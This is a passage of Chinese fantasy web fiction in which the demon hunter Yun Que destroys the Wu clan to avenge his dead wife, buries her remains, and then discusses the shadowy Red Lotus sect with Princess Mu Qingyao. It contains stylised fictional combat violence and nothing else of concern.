这种情况,预示着云缺早被龙尾雉吞噬。 乌星还是放心不下,谨慎道: “云缺那家伙战力过人,族长务必小心为好。” 乌人杰笑道:“大长老有些杞人忧天了,莫说一介八品武夫,即便七品高手到了我们乌家寨,也有来无回,开门。” 嘎吱吱。 铁门缓缓开启。 乌人杰当先走了进去,乌星紧随其后。 两人一进来,立刻闻到一种奇怪的味道。 那是烤肉散发出的独有香气。 当看清密室内的情景,乌人杰的脚步,就此顿在门口。 这位乌家族长,七品血巫,此刻脸色变得阴沉如水,笼罩浑身的气血几乎凝炼成实质。 乌星则无法控制的张着大嘴,喉咙仿佛被人掐死了似的,一时说不出话来。 密室内,架着个火堆。 火堆上,烤着一只硕大的鸡翅。 烤肉散发的香气,正是这只刚刚烤熟的鸡翅! 四周地面铺满了鲜血。 残肢散落满地! 两只鸡首整整齐齐的立在火堆前,幽蓝的眼珠早已失去光泽。 火堆前,坐着名黑衣少年。 一手提着刀,另一只手不知拿着什么东西在大吃特吃。 听到开门的声音,云缺缓缓转过头,嘴角残留着食物的血迹,朝着乌家之主与乌家长老现出个古怪又诡异的笑容。 云缺扬了扬手里另一只挂着血丝的鸡翅道: “你家的鸡翅味道不赖,挺可口的嘛。” 乌人杰猛然捏紧双拳,一头长发无风自动,疯狂摆动。 气息的暴起,代表着这位乌家之主的愤怒。 乌家豢养多年,当做摇钱树的两头龙尾雉,居然在短短时间内彻底被灭杀! 还让人家做成了烤鸡翅! 最让乌人杰暴怒的是,云缺吃的不是那只烤熟的鸡翅,而是在生吃另一只! 这一刻,乌人杰想起了一句报仇之际最为常用的说辞。 生啖其肉,痛饮其血! 生死大仇,才会让人说出如此凶狠之言。 但也仅仅是说说而已。 没人会当真生吞仇人的血肉。 可眼前的黑衣少年,却在用实际行动证明。 生啖其肉这种狠话,何须多言,我直接吃给你看! “猎妖人……果然名不虚传。” 乌人杰压下心头暴怒,渐渐冷静下来。 身为族长,乌人杰城府极深,他瞬间对局势做出判断。 青狐山的猎妖人,足有覆灭整个乌家的战力! 那两只被大卸八块的龙尾雉,就是最好的证据! 冷静后,乌人杰沉着面孔道: “既然你云缺娶了乌家之人,我们就是一家人才对,你想要嫁妆,可以,开个价钱,我以乌家族长的身份做主,将乌灵儿风光大嫁,绝不会亏待她就是了。” 这番话说得看似服软,可乌人杰的两只手却无声无息的伸展开五指。 每根手指的指尖处都有一条无形的血线垂落,好似十条细小的毒蛇般潜入地面,连接起大片妖血。 稳军之计! 乌人杰要利用两头龙尾雉的血液,来完成一次杀局。 “你能给多少。” 云缺扔掉手里血淋淋的鸡翅,饶有兴致的站了起来。 “金银珠宝,玛瑙翡翠,只要你能想象到的财富,我都给得起。”乌人杰豪迈道:“只要你开口,我定满足你的要求!” “还是族长痛快!不像你们长老,抠抠搜搜的,那好,我的要求其实不高,我要的嫁妆……” 云缺嘴角挂笑,缓缓抽刀道:“是你们乌家所有人的命!” 要求的确不高。 灭族而已! 乌人杰怒极反笑: “哈哈哈!好大的口气!你身为猎妖人本该胸襟广阔,却为了个早已死掉的女人与我整个乌家为敌!云缺,你到底会不会算账,你认为值得吗!” “值不值,我心里有数。”云缺持刀冷笑:“世间有没有公道我不管,不过,我有我自己的公道,你杀我娘子,我灭你满门,这就是我的道理!” “好好好!” 乌人杰连声道出三个好字,两只大手猛地提起,冷喝道:“既然你冥顽不灵,那就死在乌家寨好了!” 哗!哗!哗! 一滩滩血水应声而起,在半空汇聚成一条妖血组成的血龙! 血龙张牙舞爪,散发着惊天的妖气。 地面上,龙尾雉的残尸在快速干瘪,同时半空的血龙不断壮大着,片刻后达到十余丈长短。 “血咒之术,吞天血龙!” 乌人杰双手结印,那血龙仰天嘶吼,浑身爆发出狂暴之气,摇头摆尾冲向云缺。 云缺一声冷笑。 双眼瞬间转为猩红,一刀斩出。 轰鸣炸起! 血龙与妖刀碰撞,爆发出一团狂风,地面的残肢尽数被吹开,撞得四周墙壁到处都是。 云缺这一刀,携带着妖之力! 妖刀爆发的力量,不弱于血龙,但云缺的本体仍旧被困住。 血龙散发出惊人的煞气,形成旋风,云缺在其内动弹不得,一身黑衣出现一道道豁口。 煞气如刀! 血龙的煞气足以困杀一名八品武夫。 “妖血化龙,煞气伤人,够阴狠的手段,我现在有点后悔了。” 云缺站在煞气风卷中巍然不动,低声自语。 乌人杰狂笑而起,道:“现在后悔晚了!猎妖人的归宿,就该葬身妖口!” 云缺摇了摇头,望向乌人杰的目光带着一份奇怪的怜悯,道: “我后悔的是,去年就不该只砍一刀,我应该让你们乌家看一看,何为真正的煞气,那样的话,乌灵儿就不会死了……” 随着云缺平静的低语,他的双肩开始弥漫出大片阴冷狂暴的气息,直至将整个密室尽数铺满! 那不是长刀的妖气。 而是斩妖无数才能积累而出的,如山煞气! 第45章 该你了 宽阔的地底密室,此刻完全被血煞之气填满。 在云缺的煞气面前,血龙显得暗淡无光,煞气风卷不攻自破。 乌人杰不受控制的连退三步,乌星更是被这股恐怖的煞气狂风掀翻了个跟头。 无论乌家族长乌人杰还是大长老乌星,心里同时升腾起强烈的忌惮! 云缺说得一点没错。 若让乌人杰与乌星看到这如山的煞气,他们根本不敢再动乌灵儿一根手指。 去年的时候,乌家人只认为云缺是个八品巅峰武夫,在两头龙尾雉面前也有一战之力,为了避免麻烦才让云缺带走乌灵儿。 如果知道青狐山的猎妖人恐怖到如此地步,乌人杰绝对不会招惹这等强敌。 遗憾的是, 云缺以为一年前那一刀,已经足够震慑乌家寨。 而乌人杰与乌星则以为,云缺的战力不过八品而已。 世上的遗憾很多,无法挽回。 如今的局面,只剩下不死不休。 自从云缺展现出自身携带的真正煞气,乌人杰就清楚了一点。 来自青狐山的猎妖人,是一个真正的冷血屠夫! 那如山的妖气,至少要数以万记的妖物之死,才能汇聚而出。 乌人杰甚至能想象到云缺所斩杀的妖物尸骨,足以堆积起一座高耸的骨山! 至此,乌人杰心里再无任何念头,他只想倾尽一切力量将这个恐怖的仇家抹杀于此! 七品血巫的磅礴法力被鼓动而起,密室内的血龙再次狰狞起来,猛攻对手。 血龙来自两头龙尾雉的鲜血,在乌人杰的炼化下足以达到七阶巅峰妖兽的战力。 但血龙的力量,在云缺面前还远远不够。 既然走进乌家寨之前生吞了一枚蛙卵,云缺今天就没打算有任何留手。 祭品已经备好,那么接下来,就是动用妖刀的时候。 刀身中心,再次汇聚出一颗血色竖瞳。 刀体的表面流淌起殷红的光泽,亦如一层浓郁的鲜血! 云缺的动作不快。 一刀,又一刀。 砍得十分认真。 每一刀下去,血龙的身体都会被斩断一部分。 很快血龙变得支离破碎。 乌人杰脸色阴沉,他划破自己的手腕,大量鲜血涌出,与血龙融汇在一起。 得到乌人杰的鲜血,裂开的血龙很快融合完整,继续发动猛攻。 “人力终有尽,哪怕你是七品武夫,也无法一直作战,血咒之法却能源源不断,只要有鲜血存在,我便同阶无敌!”乌人杰冷声喝道。 两头龙尾雉的鲜血确实很多,足以让血龙持续存在,再加上他自己的鲜血,可增加血龙战力。 反观云缺。 想要抵挡血龙的猛攻,必须用尽全力出刀才行,这种高强度的恶战,足以拖死低阶武者。 尽管武夫的体质极为强悍,但毕竟是人,只要是人,气力就一定有尽头。 乌人杰的打算,是用血龙拖死云缺! 龙尾雉的鲜血不够,就用他的血,他的血若是还不够,就用所有乌家族人的血! 乌人杰有信心将云缺拖到精疲力尽。 武夫一旦耗尽力量,与待宰的羔羊将再无分别。 “恐怕让你失望了,我的刀,其实胃口比我还好。” 云缺说完这句奇怪的话,猛地一震长刀。 刹那间,刀体之上开裂出一道殷红的豁口,好似一张嘴巴。 当云缺再次出刀斩中血龙的同时,那头狰狞血龙直接被长刀吸扯住,龙头不断缩小,竟被刀身上的嘴巴逐渐吞噬! 如此诡异的一幕,将乌人杰与乌星惊得瞠目结舌。 世上哪有如此武夫! 不但生吃七阶龙尾雉的肉,携带的武器长刀还喝龙尾雉的血! 主人啖其肉! 妖刀饮其血! 乌家两头龙尾雉的下场,惨烈如斯。 在乌人杰与乌星愣神的工夫,硕大的血龙已经被妖刀尽数吞没。 半点没剩! 乌人杰用血咒术拖死强敌的打算,就此成了笑话。 他乌家人的确不少,但加起来也没有两头龙尾雉的血多。 整个乌家寨的人全抽成人干儿,聚集出来的鲜血也不够那把刀喝的! 当乌人杰清醒过来,正看到云缺身形掠动,朝着他杀来。 乌人杰大惊。 他可不敢让这种恐怖的武夫近身。 以云缺展现出的恐怖战力,别说七品血巫,六品的巫妖被近身之下,也得饮恨黄泉! 武夫被所有修行派系所鄙夷,同时也被所有修行派系所畏惧。 因为只有武夫,能做到越阶杀人! 只要近身,武夫甚至能击杀比自身高出两个大境界的对手! 乌人杰不敢迟疑,抬手抛出一物。 那是一座巴掌大的小巧莲台,流转着七彩光华,直接落在云缺脚下,随后瞬间放大,形成一座数丈方圆的巨型莲台。 不等云缺冲出莲台,四周的花瓣轰然合拢。 密室中瞬间安静下来。 巨大的莲台,形成一座坚不可破的牢笼,将云缺困在其中。 这莲台是一种法器,由修行界的高手炼制,极为坚固,一旦合拢,就会形成与外界完全隔离的空间,连空气都无法渗透。 并且莲台能自行激发出雷电法术,绞杀其内的活物。 被莲台法器包裹的人,会在很短的时间内被击杀。 见云缺陷入法器,乌人杰长出一口气。 “教主亲自赐下这件七彩莲台,十几年不曾动用,没想到会在今天用上。”乌人杰感慨着低语。 既然云缺陷入莲台,那就再无活路可言。 乌星担忧道:“两头龙尾雉尽数被杀,我们乌家损失惨重,即便杀了云缺也无法弥补,教主若知道此事,必定会降下责罚。” 乌人杰的脸色也变得难看起来,道: “无妨,教主对灵芸郡主势在必得,只要我们能抓到郡主,即可将功抵过。” 乌星恍然道:“对了!我刚刚收到百玉城传来的消息,灵芸郡主在百玉城出现过,后来不知所踪,教主已经下令,知远县内所有教众都要全力搜索,必须找到灵芸郡主的踪迹。” 乌人杰沉吟道:“百玉城那边,可有其他线索?” “有一个,有消息说郡主并非一人,而是与一个黑衣少年同行……” 说到这里,乌星神色骤变,惊呼道:“黑衣少年会不会是云缺!” 乌人杰渐渐现出笑容,道: “多管闲事的猎妖人,定是他无疑!既然云缺到了乌鸡镇,那么灵芸郡主一定就藏在附近,这份天降的功劳,来得正是时候!去调集族人,封锁乌鸡镇!” 龙尾雉这等凶禽,以乌家的实力很难抓获,其真正的来历是红莲教之物,养在乌家寨而已。 两只龙尾雉被杀,红莲教的教主必然会震怒,为了弥补过失,乌人杰决定抓住灵芸郡主。 乌人杰刚刚吩咐完,忽然听到一种奇怪的咔嚓声。 乌人杰与乌星惊疑着转头看去。 声音来自莲台。 一把长刀,竟从莲台中心扎了出来! “不可能!” 乌人杰惊呼道:“七彩莲台乃极品法器刀枪不入,怎么可能会被斩开!” 让乌人杰觉得更不可能的还在后边。 扎出的刀尖从莲台上方缓缓切下,等刀刃抵达底座,整座莲台被一分为二! 乌人杰此刻脑子里一片空白。 他的七彩莲台,是一份强劲的后手,即便同阶强敌也可轻易抹杀。 可这次非但没能杀掉云缺,反而被直接斩断,就此废掉。 极品法器极为难得,是法器当中的顶级至宝,拿出去便是天价之物,被修行者当做第二条命对待。 有了极品法器,就能在危机关头挽救自己的生命,逆转战局,反败为胜。 这样一件天价的宝贝,仅仅在几个呼吸之间就成了无用的东西。 乌人杰心中惊怒交加,恨得咬牙切齿。 莲台一断,云缺的身影出现。 犹如一阵狂风般,云缺以迅猛的速度冲向乌人杰,两只眼睛的瞳孔尽数转为血色。 “七彩莲台,你们果然是红莲教的人!” 云缺在低吼间长刀斩落,直奔乌人杰的人头。 “挡住他!” 乌人杰大吼着将乌星推了出去。 面对强敌,这位乌家之主连自家长老都不在乎了。 乌星大惊,连忙以他的弯刀拼力抵挡。 咔!! 弯刀断裂! 乌星整个人从额头处开始,被斩成两半! 临死之前,乌星觉得十分不解,之前他在地面上与云缺交手的时候,明明用弯刀挡住了对方的长刀,这次怎么不行了? 但瞬间之后,乌星便随之恍然。 连极品法器七彩莲台都能一刀斩开,说明之前人家根本没用全力,现在动用了真正的力量,他这位八品法巫只是个垫脚石罢了,一刀即可灭杀。 尸体缓缓倒下。 乌星在生命最后的时刻,看向龙尾雉的残肢。 他终于知道了这次乌家招惹的,是一个何等恐怖的存在! 祸福无门,惟人自召。 乌星死了。 两半尸体上的眼睛里,带着浓浓的悔恨。 如果有机会回到一月前的那次大祭,乌星宁可将自家婆娘送去喂妖,也不会将乌灵儿当做血食。 带着无尽悔意,乌家大长老咽下了最后一口气。 他的不甘与怨恨转化为一股神魂之力,带动自身的魂魄飘出尸体。 但也仅仅是飘出了而已。 下一刻便被云缺身上散发的如山煞气摧毁得魂飞魄散。 斩杀乌星后,云缺缓缓转头。 两只血红的眼睛盯死了乌人杰,嘴角渐渐翘起,声音沙哑的道: “该你了!” 第46章 无效的诅咒 乌人杰已经彻底被云缺的能力所震撼。 他知道大势已去。 乌家今天将迎来一场浩劫! 乌人杰从未想过,在这处困兽场般的地底密室,他这位乌家之主有一天也会成为困兽。 乌人杰惊怒交加之下,开启了位于密室暗处的机关。 嘎吱吱!! 轰隆隆!! 密室四周的墙壁在轰鸣中升起,现出了上百个丈许宽的暗格。 每一个暗格都是一个小房间,里面摆着一个硕大的木桶,木桶里泡着一个个乌家族人。 这些乌家族人身体健硕,紧闭着双眼。 木桶里是一种奇怪的液体,呈墨绿色,其中还混杂着大小不一的蛋壳碎片。 木桶里的怪人,是乌人杰秘密打造的战斗机器,上百名九品战巫! 不同于其他战巫,这些怪人用来洗练自身的巫毒之物,加入了龙尾雉的蛋。 七阶巅峰妖兽的蛋,蕴含着强烈妖气,加上其他巫毒,混合成一种特殊的毒液。 以毒液浸泡的九品战巫,除了本体更加强悍之外,还会被剔除掉痛觉,即便被砍断手脚,只要还能动,就能向敌人继续冲杀! 开启暗格的同时,乌人杰施展出巫咒,强行唤醒了百名乌家战巫。 百人先后睁眼,目光全部清冷得毫无感情存在。 哗啦!哗啦! 水声不断,一个个高大的乌家战巫从木桶中跳出。 在每个暗格里,还准备着一把半人多高的重剑与一面同样高度的重盾,均有数百斤的份量。 战巫们一手持重剑,一手抓住重盾,沉默着冲出暗格,将云缺团团围住。 “杀了他!” 乌人杰一声大喝,百名战巫同时举剑。 随后乌人杰头也不回,沿着通道急匆匆逃走。 他怕了。 怕自己死在云缺之手。 他要召集更多的乌家高手,将云缺耗死在乌家寨。 逃向地面的路上,乌人杰破口大骂。 骂云缺,也骂乌星。 好端端的闭关修炼,什么事儿没干呢,一出来就遇到如此强敌,乌人杰觉得自己倒霉透顶。 一到地面,乌人杰立刻召集人手。 不多时,又有两百多乌家子弟汇聚而来,其中不乏九品战巫与九品武者,还有两名老迈苍苍,多年不问世事的家中族老,均是八品法巫的修为。 看着汇聚在身旁的乌家高手,乌人杰终于有了点底气。 他身边的族人,是乌家真正的核心力量! 乌人杰认为只要家族同心协力,就没有什么强敌不可战胜。 更不用说地底那百名特殊的战巫,一拥而上的话,拖死两个八品武者都不在话下。 “强敌当前……” 乌人杰正准备来一番战前动员,提升自家人的士气,忽然听到一声惨叫。 最外围的一名乌家高手被一刀砍掉了脑袋! 人群呼啦一声分散开来,现出凶手。 乌人杰看清之后,大惊失色。 只见云缺一身是血的站在对面,手里提着的长刀正在滴滴答答掉落血水。 本以为能将对方拖死在地底,最不济也会消耗对方大量力气,不料这才不到一盏茶的时间,人家居然出来了! 乌人杰的心头一点点冷了下去。 云缺出现,可那百名战巫却一个也没露头。 只能说明一件事。 云缺在一盏茶的时间内,斩杀了乌家培养多年的百名特殊战巫! “怎么会……我乌家打造的战巫怎会全被杀掉!”乌人杰声嘶力竭的喝道。 “原来你也喜欢养怪物。”云缺冷笑道:“可惜你养的怪物太脆了,脑袋掉了就站不起来,你不如多养点龙尾雉,那玩意还能让我多砍几刀。” 乌人杰惊恐的大吼道:“一起动手!” 院子里的乌家高手齐声大喝,齐齐攻向云缺,连那两个颤巍巍的乌家族老也拼了命,不计代价施展巫咒。 一时间乌家深处的大院里,刀光剑影,狂风骤雨。 乌人杰趁乱之下,掐动法印,再次动用血咒之法。 他这次下了狠心。 之前用的龙尾雉之血,早已冷掉,威力达不到极致。 这次乌人杰要动用的,是族人的精血! 只要有人被杀,哪怕是重创,他都会毫不犹豫将对方的血液提炼而出。 这种同族之血,又是蕴含着生魂之力的鲜血,才是施展血咒的最佳媒介。 乌人杰打的主意很好。 但族人死掉的速度,有点超乎了他的预料。 在刚刚掐动咒决的那一刻,乌人杰隐约听到一种奇怪的笑声。 嘻嘻嘻嘻…… 笑声像个女人所发,低沉而诡异。 听到笑声的下一刻,乌人杰看到一片红光! 那是刀光! 殷红如血的刀光! 这片刀光笼罩了整个院子,数百名乌家高手在这片刀光下根本没有反抗能力,包括两名八品的族老一起,尽数被诛杀。 等乌人杰从错愕中惊醒,院子里只剩他一个活人。 随后乌人杰看到了一把刀。 冷森森,铺满血色的长刀。 乌人杰避无可避,运转最后的法力吼道:“血盾!” 呼的一声。 一面完全由鲜血铸造的重盾凝聚而出,挡在乌人杰身前。 轰!!! 刀尖与血盾相撞,散发出四溢的血光。 血盾蕴含着强横法力,防御力惊人,但还是被一刀斩碎。 乌人杰口喷鲜血,被血盾反震的巨力直接砸进地面。 地面被砸出了一个大坑。 乌人杰头昏脑涨,刚想抬头,心窝处踏上了一只脚。 云缺居高临下,一脚踩着乌人杰,一手举起长刀,两只血瞳森冷至极。 犹如冷血的刽子手! 这一刻乌人杰有一种强烈的错觉,在云缺面前,他这位高高在上的乌家族长,只不过是一只刚刚养肥的猪猡而已。 “别杀我!” 乌人杰抓住云缺的脚踝,用尽全力抵抗着脚上的力道。 被八品武夫踩中,即便七品巫修也受不了。 “我给你乌家的财宝!放过我,乌家的一切都可以给你!” 乌人杰不得不求饶。 他已经在人家脚下,这种距离面对一名八品武夫,他没有丝毫胜算,只能等死。 “我说过,我是来要嫁妆的,就差你这最后的一份了。” 云缺手起刀落,一刀洞穿乌人杰的心窝。 “去你的神国吧,我送你一程,哦对了。”云缺冷声道:“死在猎妖人的刀下,神魂俱灭,你的魂魄恐怕没机会去神国了。” 冷语中,冲天的煞气如狂风般呼啸! 巫修的神魂有着极强的能力,即便死掉也有机会反杀对手,所以云缺不会给对方任何机会。 人,得死! 魂,得灭! 乌人杰大口喷血,死死抓着云缺的脚,狞声道: “你、你不得好死!我愿祭献血巫之魂请巫神降下诅咒!诅咒你血枯魂裂!断肠而亡!” 嗡!! 乌人杰的吼声中,一圈圈暗红的圆环从他两只手上升腾,沿着云缺的脚踝盘旋而上,眨眼间缠满了云缺浑身。 那些圆环并非实质,很快失去光泽,变成一道道漆黑的印记,留在云缺皮肤上。 手背与头脸全都有,好似奇诡的花纹,充斥着一种诡异之感。 那是诅咒之力的显现。 七品血巫以神魂俱灭为代价,施展的最后一击! 用出诅咒后,乌人杰两只手缓缓垂下,失去了最后的力气,只剩下一口气。 他一边呕着血,一边死死盯着云缺,疯狂大笑道: “我死,你也别想活命!诅咒之力已经刻进你的神魂,连七品炼神境武者也难以剔除,你这八品武夫等着死吧!你会体会到世间最惨烈的死法!你的血魂会逐渐枯萎崩裂!你的脏器会尽数爆裂而亡!哈哈哈!” 在乌人杰临死的狂笑中,云缺没有丝毫惊慌,对身上的诅咒印记根本不屑一顾,冷笑道: “不好意思,让你失望了,诅咒对我没用,因为我的神魂,早就卖了。” 刀峰一转,搅碎了乌人杰的心脉。 这位乌家的族长带着无法理解的目光,就此咽气。 由于祭献神魂才得以施展的诅咒,乌人杰的灵魂早已崩裂,属于真正意义上的死绝。 跳出大坑,云缺站在满地尸体中间,抬起左手。 手心里,是花纹般的诡异黑线,一条条密如蛛网。 这等阴狠的诅咒,对八品武夫来说是致命的,唯有达到七品炼神境的武者,才能以强横的神魂抗衡。 但云缺并不是普通的八品武夫。 淡淡的看了眼手心后,云缺猛然捏拳。 嘭! 握拳的闷响在静夜里炸起。 随着握拳的举动,云缺的眼瞳出现了变化,竟竖立起来。 双眼竖瞳! 如妖似魔! 当竖瞳出现的那一刻,缠绕在云缺身上的黑线纷纷崩裂开来,很快化作虚无。 诅咒之力彻底消散。 血巫诅咒,针对敌人的魂魄,然而云缺的身体里,不止他自己的神魂,还有一道恐怖的妖魂存在。 那是妖武者都会有拥有的伴生妖魂。 妖躯祭炼为刀,成为本命武器,妖魂融入识海,与自身魂魄相生相灭。 云缺自身的神魂或许抵抗不住七品血巫的诅咒,但在他的伴生妖魂面前,乌人杰的诅咒渺小得可怜。 今晚,乌家寨着了一场大火。 完全木质结构的巨大寨子,犹如一个巨大的火把般被点燃。 火光冲天! 浓烟滚滚! 百里之外都能看到冲天的烈焰。 乌家寨的大门前,云缺抱起了穿着嫁衣的白骨。 “你的嫁妆要来了,可还满意。” 云缺将白骨埋在荒山的半山腰,这里是他与乌灵儿第一次见面的地方。 望着远处的冲天浓烟,云缺幽幽道:“记住喽,下次要点这么大的狼烟,我在青狐山才能看得到。” 填平最后一捧土。 一块由山石削成的简单石碑立在小小的坟前。 石碑上刻着一行字。 吾妻, 乌灵儿之墓。 牧青瑶目睹着云缺做的这一切。 她没去打扰,只是静静的站在一旁。 最后,牧青瑶摘了一朵开得最好的青色野花,轻轻放在墓碑上。 人生难得一知己。 牧青瑶没有丝毫嫉妒,也没有半点吃醋,她觉得如果乌灵儿还在世的话,她们一定能成为最好的朋友。 因为,她们都有一个共同的知己。 呼,呼…… 牧青瑶听到了沉重的喘气声。 扭头看去,云缺的状态有些古怪。 弯着腰,垂着头,气息沉重,好像十分痛苦,嘴里低语着什么。 由于云缺的双眼始终血红,萍山君与门六躲得远远的不敢靠近。 牧青瑶急忙跑到近前,她终于听清了云缺的低语。 “红莲教……” 三个字被咬得极重,能听得出充满恨意。 乌家寨几乎被灭门,乌灵儿的大仇得报,但是牧青瑶知道,真正的始作俑者仍旧逍遥法外。 无论藏石镇的秀儿姐之死,还是乌鸡镇的乌灵儿身亡,都有着红莲教的影响在其中。 仇恨的种子一旦被种下,便很难剔除。 尤其是云缺这种以猎妖为生的凶悍武夫。 经历过这些惨剧之后,云缺那颗平静的心,已经彻底被搅动。 送牧青瑶回皇城,或许只是一份买卖,但红莲教这根刺,云缺发誓要将其连根拔掉! “早晚、跟你们算总账!” 云缺在低吼间,身形愈发佝偻,眼底的血色越来越浓。 妖气开始不受控制的弥漫开来。 今晚的恶战,云缺动用了过多的妖刀之力,此刻反噬来袭。 正在艰难抵抗着神魂传来的异动之际,云缺发觉一只凉丝丝的小手,握住了自己的手。 牧青瑶默默站在身边,俏脸上挂着平静的微笑。 “我陪你。” 简单一句话,温暖着云缺躁动的心神。 渐渐的,眼中的血色开始褪去。 充足的祭品与月玉之力,加上牧青瑶的真诚,再次让云缺恢复正常。 轻轻呼出一口浊气,云缺只道出一个字。 “走。” 萍山君现出本体,三人爬上虎背,在黎明来临前消失在山林之中。 路上,云缺陷入沉睡。 醒来的时候,眼前是漫天星斗。 一天的奔行,此地是一处荒郊野岭,早已远离了乌鸡镇。 仰起身子,还没等坐起来,云缺发现自己的肚皮上多出了一颗虎头。 第47章 像个皇帝 啪! 一声脆响,虎头被扇开。 “干什么呢?” 云缺没好气的道。 萍山君揉了揉脑袋,讪笑道:“我听听有没有蛙叫。” “我肚子里怎么会有青蛙!”云缺怒道。 萍山君嘿嘿了两声,道:“那玩意烤熟了我都不想吃,你居然敢生吞,我这不是怕你出事么。” 萍山君指的,自然是蛙卵。 “我胃口好,早消化了。”云缺道。 萍山君听得龇牙咧嘴,羡慕中透着忌惮。 九阶气息的活蛙卵啊,那玩意是活人能消化的东西么? 见云缺的确正常,萍山君不再吭声,他决定以后不拿云缺当人看了,当做同类还差不多。 生吞魔蛙卵,活宰龙尾雉,天下间哪有这种凶悍的八品武夫。 连七阶妖兽都没几个做得到! 门六在旁边瞪着眼睛毫无睡意,道:“云大爷既然醒了,咱们是不是尽快赶路啊?” 他始终打着早点到皇城的心思。 不是皇城里热闹好玩,而是到了皇城,他就自由了。 “赶了一天路,不得歇歇!”萍山君瞪起虎眼道。 “千里马不都是日行一千夜走八百,能星夜兼程么,你该不会连马都不如吧?”门六小心翼翼的道,生怕惹恼了萍山君。 “你是不是听戏听多了?再好的马让它从早跑到晚也得累死!还星夜兼程,别说马,鬼都得累死!”萍山君怒道。 “哦,原来妖还会累呀。”门六恍然道。 “废话!妖也是活物,我跑一天我也累啊!我累了就想吃东西!” 萍山君说完,门六立刻闭嘴,慌慌张张去找吃的。 不多时,门六欢欢喜喜的捧来个鸟窝,里面有几个鸟蛋。 “烤着吃,香得很!” 门六说完,看出了萍山君虎头上显而易见的鄙夷表情。 那么几个鸟蛋,塞牙缝都不够。 云缺把鸟蛋要来,收进包裹里,留着以后用。 只要不动用过量的妖刀之力,鸟蛋蛇蛋都能应对。 蛙卵那玩意,能不吃还是不吃为好,都一天了,云缺现在半点胃口也没有。 萍山君亲自动手,很快在附近抓了头长毛野猪,架上火堆准备吃烤肉。 门六很自觉的开始忙活起来。 萍山君嫌弃门六拔毛太慢,挽起袖子一起帮忙。 门六一脸苦涩。 他没想到自己当了多年厨子,有一天会让一头七阶虎妖给自己打下手。 牧青瑶安静的坐在云缺旁边,俏脸上挂着温和的微笑,望着一人一虎在火堆旁烤猪。 她很享受这种宁静。 因为她知道,留给自己的宁静时间不会太多。 “回到皇城后,帮忙打听打听红莲教的底细。” 云缺望着火堆,语气平静的道。 “嗯。”牧青瑶轻声道:“你要量力而为,红莲教绝对不简单。” “我不急,有账不怕算。”云缺冷笑了一声,道:“狩猎之前,需要挖好陷阱,磨好刀,等待最佳时机。” “七品武者,七品道门修士,七品巫修,红莲教的高手居然如此之多,绝非近年来才出现的教派,红莲教应该在晋国蛰伏多年,早已在暗处形成了一方庞然大物。”牧青瑶蹙眉道。 “我也没想到乌家寨居然也是红莲教的人,即便能平安回到皇城,你这位灵芸郡主也要加点小心,庙堂之上,恐怕也有红莲教的黑手。”云缺道。 “何以见得?”牧青瑶道。 “乌家弓弩手,用的是军中的连发重弩,那种弩箭力道极大,足以击杀九品武夫,数量过多的话,八品武夫也扛不住。”云缺声音低沉的道。 “军弩!” 牧青瑶惊讶道:“军弩是军方重器,不会外泄,外面基本看不到,乌家寨居然有军弩!” “不止军弩,乌家人用的重刀与重盾,都是精锐军队才能使用的武器,那族长用龙尾雉的蛋制作成巫毒之物,打造出上百名没有痛觉的战巫,乌家寨的实力,远非外表所见,以我估计,乌家寨如果动用全力,有机会攻陷百玉城。”云缺道。 云缺的这番估算,还只是保守估计。 一名七品血巫,三名八品法巫,上百名武器精良的九品战巫,再加上两头七阶巅峰妖兽龙尾雉,如此战力,强攻百玉城几乎十拿九稳。 牧青瑶听完,一双黛眉锁得更深。 云缺道出的消息,让灵芸郡主看到了大晋繁华的背后,隐藏的暗流汹涌。 如果说乌家寨的发展,仅仅为了家族的壮大,那么无可厚非。 大晋之内的各类家族数不胜数,谁都想自家的族群世代繁荣。 可乌家寨发展的轨迹,偏离了壮大家族这个基本规则。 无论那上百名没有痛觉类似怪物的强大战巫,还是军中的刀剑与重弩,这些都不该是寻常家族能碰的东西。 失去痛觉,必定有着其他代价,几乎脱离了活人的范畴,这等族人完全被打造成战斗机器,类似死侍般的存在。 一个小镇里的家族,数百族人,却耗费大量壮丁打造死侍,绝非正常举动。 而军弩与军刀的存在,更是大晋皇族的逆鳞,若被查出来,死罪难逃。 乌家寨的举动,在牧青瑶眼里愈发奇怪,那绝不是一个小镇家族应该有的模样。 除非,是为了战争做准备! “红莲教,到底要做什么……”牧青瑶疑惑着自语道。 “传教之后,当然是立国了。”云缺随口道了句。 牧青瑶缓缓摇头,道: “如果只是一处教派,不可能拥有撼动晋国的力量,晋国之内,单单皇城就驻扎着数十万精锐,这还不算边军与各处大城的守军,若所有军兵加在一起,早已超过百万之众,寂寂无闻的红莲教怎么可能抵抗住百万大军。” “没准红莲教只是个幌子,背后说不准是什么地方来的异族。”云缺漫不经心的道。 云缺的随口之言,牧青瑶听得灵机一动。 她拿出一份大晋地图,铺展开来,仔细观看着。 一边看,牧青瑶伸出纤细的手指,点向晋国的几个边境方向,分析道: “北域妖都覆灭,北方再无大敌,南方有我父亲率领的八十万边军镇守,蛮人无力踏入晋国半步,东面的邵武国兵强马壮,在晋国立国之初的确蠢蠢欲动,但随着晋国逐渐安稳繁荣,精兵数量越来越多,邵武国即便觊觎晋国大地,也不敢轻易妄动。” 牧青瑶的手指最后点向了晋国西方,也就是知远县所在之地。 “西方十万大山,毒虫遍布,是天然的屏障之地,无论前朝燕国还是当今晋国,都没派遣重兵把守西方边陲,认为这里是最安全的地方,没有敌人能通过十万大山来进攻晋国,但是十万大山里,并非没有人类。” 牧青瑶的声音愈发低沉,道: “传说巫蛊之术起源于十万大山,被誉为巫蛊之神的巫神,便来自于十万大山的深处,巫神不仅创造出巫修一道,与世间其他修炼体系并驾齐驱,还打造出一个神秘的种族,巫族。” 云缺听得好奇,这些远古传闻,他在藏石镇的书籍里是看不到的。 “郡主对天下局势了解得不少嘛,你怀疑红莲教,与十万大山里的巫族有关?”云缺道。 “有这个可能,我不了解巫族,而且典籍上对巫族的记载极少,所以人们才会在潜意识里觉得巫族只是十万大山里的隐士,不会在人间走动,但只要是族群,就会有扩张的野心。”牧青瑶沉声道。 “那你们大晋可要小心提防了,没准过几年大晋国改成了大巫国,或者什么红莲国,反正我无所谓,什么国都一样,天下就没太平过。”云缺不在意的道。 作为前朝大燕斩妖司的人,云缺对晋国没什么感情,或者说他对任何朝代的王朝都没有感情。 只活自己。 不是云缺没有家国大义,而是他的命,早在三岁的时候,就卖给了前朝。 那一年讨伐妖都,云缺杀伐到最后,其实应该战死。 他不知为何自己会活下来。 已经为国战死了一次,即便这辈子云缺混吃等死,笑看大晋灭国,谁又有资格说他这位斩妖司的猎妖人不忠不义呢。 